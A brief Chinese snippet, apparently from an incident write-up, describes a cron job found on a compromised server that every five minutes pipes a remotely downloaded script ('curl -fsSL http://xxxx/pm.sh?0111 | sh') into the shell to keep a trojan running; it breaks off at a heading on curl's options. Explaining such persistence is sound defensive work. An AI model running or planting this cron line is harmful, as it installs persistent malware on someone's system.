服务器入侵后有定时任务执行如下,通过cron,下载脚本并执行!达到杀不死的木马进程
*/5 * * * * curl -fsSL http://xxxx/pm.sh?0111 | sh
curl参数解析: